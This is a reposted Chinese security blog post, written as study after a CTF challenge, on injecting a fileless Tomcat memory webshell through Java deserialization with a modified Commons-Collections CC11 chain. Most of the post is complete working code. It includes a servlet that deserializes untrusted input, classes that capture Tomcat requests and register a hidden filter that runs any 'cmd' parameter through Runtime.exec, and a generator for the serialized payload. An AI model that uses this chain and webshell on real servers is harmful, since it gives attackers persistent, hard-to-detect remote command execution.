免责声明


由于传播、利用本公众号绿洲安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号绿洲安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢
文章转自:https://drun1baby.top/2022/11/29/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/0x01 前言
当然看这道题目的最主要原因是因为内存马的应用面太广了,很多不出网的场景、以及攻防的场景都可以用到。
像之前的文章,Tomcat 的三种内存马,实际上都只是一种简单的实验,而非完全能够应用,就算应用起来也是有文件落地现象的,这并非是真正的内存马。
而且在之前 2022 祥云杯上,也出了一道 Java CC4 链的不出网写内存马的题目,处于相当好奇的原因,写下了这篇文章。
所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点
0x02 回显问题
见上一篇
0x03 反序列化打内存马
半通用回显 Tomcat 打内存马
这里要用 web-app 的项目,并且用低版本的 Tomcat
先写一个 servlet
import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.ObjectInputStream;public class CCServlet extends HttpServlet {protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {InputStream inputStream = (InputStream) req;ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);try {objectInputStream.readObject();} catch (ClassNotFoundException e) {e.printStackTrace();}resp.getWriter().write("Success");}protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {InputStream inputStream = req.getInputStream();ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);try {objectInputStream.readObject();} catch (ClassNotFoundException e) {e.printStackTrace();}resp.getWriter().write("Success");}}
接着,实现 Kingkk 师傅提出来的 Tomcat 半通用回显。这一步在 Java 回显技术的文章里面已经讲的比较清楚了。
package EXP;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Modifier;public class TomcatEcho extends AbstractTranslet {static {try {// 修改 WRAP_SAME_OBJECT 值为 true Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); //获取modifiers字段modifiersField.setAccessible(true); //将变量设置为可访问modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性f.setAccessible(true); //将变量设置为可访问if (!f.getBoolean(null)) {f.setBoolean(null, true); //将变量设置为true}// 初始化 lastServicedRequest & lastServicedResponse c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");f = c.getDeclaredField("lastServicedRequest");modifiersField = f.getClass().getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);f.setAccessible(true);if (f.get(null) == null) {f.set(null, new ThreadLocal()); //设置ThreadLocal对象}f = c.getDeclaredField("lastServicedResponse");modifiersField = f.getClass().getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);f.setAccessible(true);if (f.get(null) == null) {f.set(null, new ThreadLocal()); //设置ThreadLocal对象}} catch (Exception e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}}
然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。
package EXP;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.LifecycleState;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;/*** @author threedr3am*/public class TomcatInject extends AbstractTranslet implements Filter {/*** webshell命令参数名*/private final String cmdParamName = "cmd";private final static String filterUrlPattern = "/*";private final static String filterName = "Drunkbaby";static {try {ServletContext servletContext = getServletContext();if (servletContext != null){Field ctx = servletContext.getClass().getDeclaredField("context");ctx.setAccessible(true);ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);Field stdctx = appctx.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(appctx);if (standardContext != null){// 这样设置不会抛出报错Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");stateField.setAccessible(true);stateField.set(standardContext, LifecycleState.STARTING_PREP);Filter myFilter =new TomcatInject();// 调用 doFilter 来动态添加我们的 Filter // 这里也可以利用反射来添加我们的 Filter javax.servlet.FilterRegistration.Dynamic filterRegistration =servletContext.addFilter(filterName,myFilter);// 进行一些简单的设置filterRegistration.setInitParameter("encoding", "utf-8");filterRegistration.setAsyncSupported(false);// 设置基本的 url pattern filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});// 将服务重新修改回来,不然的话服务会无法正常进行if (stateField != null){stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}// 在设置之后我们需要 调用 filterstart if (standardContext != null){// 设置filter之后调用 filterstart 来启动我们的 filter Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");filterStartMethod.setAccessible(true);filterStartMethod.invoke(standardContext,null);/*** 将我们的 filtermap 插入到最前面*/Class ccc = null;try {ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");} catch (Throwable t){}if (ccc == null) {try {ccc = Class.forName("org.apache.catalina.deploy.FilterMap");} catch (Throwable t){}}//把filter插到第一位Method m = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");Object[] filterMaps = (Object[]) m.invoke(standardContext);Object[] tmpFilterMaps = new Object[filterMaps.length];int index = 1;for (int i = 0; i < filterMaps.length; i++) {Object o = filterMaps[i];m = ccc.getMethod("getFilterName");String name = (String) m.invoke(o);if (name.equalsIgnoreCase(filterName)) {tmpFilterMaps[0] = o;} else {tmpFilterMaps[index++] = filterMaps[i];}}for (int i = 0; i < filterMaps.length; i++) {filterMaps[i] = tmpFilterMaps[i];}}}}} catch (Exception e) {e.printStackTrace();}}private static ServletContext getServletContext()throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {ServletRequest servletRequest = null;/*shell注入,前提需要能拿到request、response等*/Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");f.setAccessible(true);ThreadLocal threadLocal = (ThreadLocal) f.get(null);//不为空则意味着第一次反序列化的准备工作已成功if (threadLocal != null && threadLocal.get() != null) {servletRequest = (ServletRequest) threadLocal.get();}//如果不能去到request,则换一种方式尝试获取//spring获取法1if (servletRequest == null) {try {c = Class.forName("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getRequest");servletRequest = (ServletRequest) m.invoke(o);} catch (Throwable t) {}}if (servletRequest != null)return servletRequest.getServletContext();//spring获取法2try {c = Class.forName("org.springframework.web.context.ContextLoader");Method m = c.getMethod("getCurrentWebApplicationContext");Object o = m.invoke(null);c = Class.forName("org.springframework.web.context.WebApplicationContext");m = c.getMethod("getServletContext");ServletContext servletContext = (ServletContext) m.invoke(o);return servletContext;} catch (Throwable t) {}return null;}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}public void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException {System.out.println("TomcatShellInject doFilter.....................................................................");String cmd;if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {Process process = Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest, servletResponse);}public void destroy() {}}
如此一来,我们接下来只需要注入即可,这点在 《Java 回显技术》一文当中我也有提到过,必须是要通过动态加载字节码的形式,才可以打,所以这里我们用魔改的 CC11 链子
package EXP;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;public class CC11Template {public static void main(String[] args) throws Exception {byte[] bytes = getBytes();byte[][] targetByteCodes = new byte[][]{bytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Field f0 = templates.getClass().getDeclaredField("_bytecodes");f0.setAccessible(true);f0.set(templates,targetByteCodes);f0 = templates.getClass().getDeclaredField("_name");f0.setAccessible(true);f0.set(templates,"name");f0 = templates.getClass().getDeclaredField("_class");f0.setAccessible(true);f0.set(templates,null);// 利用反射调用 templates 中的 newTransformer 方法InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);TiedMapEntry tiedmap = new TiedMapEntry(map,templates);HashSet hashset = new HashSet(1);hashset.add("foo");// 我们要设置 HashSet 的 map 为我们的 HashMap Field f = null;try {f = HashSet.class.getDeclaredField("map");} catch (NoSuchFieldException e) {f = HashSet.class.getDeclaredField("backingMap");}f.setAccessible(true);HashMap hashset_map = (HashMap) f.get(hashset);Field f2 = null;try {f2 = HashMap.class.getDeclaredField("table");} catch (NoSuchFieldException e) {f2 = HashMap.class.getDeclaredField("elementData");}f2.setAccessible(true);Object[] array = (Object[])f2.get(hashset_map);Object node = array[0];if(node == null){node = array[1];}Field keyField = null;try{keyField = node.getClass().getDeclaredField("key");}catch(Exception e){keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");}keyField.setAccessible(true);keyField.set(node,tiedmap);// 在 invoke 之后,Field f3 = transformer.getClass().getDeclaredField("iMethodName");f3.setAccessible(true);f3.set(transformer,"newTransformer");try{//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));outputStream.writeObject(hashset);outputStream.close();}catch(Exception e){e.printStackTrace();}}public static byte[] getBytes() throws IOException {// 第一次// InputStream inputStream = new FileInputStream(new File("E://TomcatEcho.class"));// 第二次InputStream inputStream = new FileInputStream(new File("E://TomcatInject.class"));ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();int n = 0;while ((n=inputStream.read())!=-1){byteArrayOutputStream.write(n);}byte[] bytes = byteArrayOutputStream.toByteArray();return bytes;}}
接连注入即可,这里因为代码我们可以直接注入 .ser 序列化的文件,如果是要输入 string,简单把 .ser 文件 base64 一下即可。



这一种反序列化打内存马的方式缺陷也很明显,就是像 shiro 这些自带 Filter 的无法打通,所以如果是 shiro550 打内存马,需要用 《Java 回显技术》的第三种方法,获取全局 response,并且根据 Tomcat 版本打。
内存马打 shiro550
通过全局存储 Response 回显来打
这里直接借用了木爷的工具 https://github.com/KpLi0rn/ShiroVulnEnv

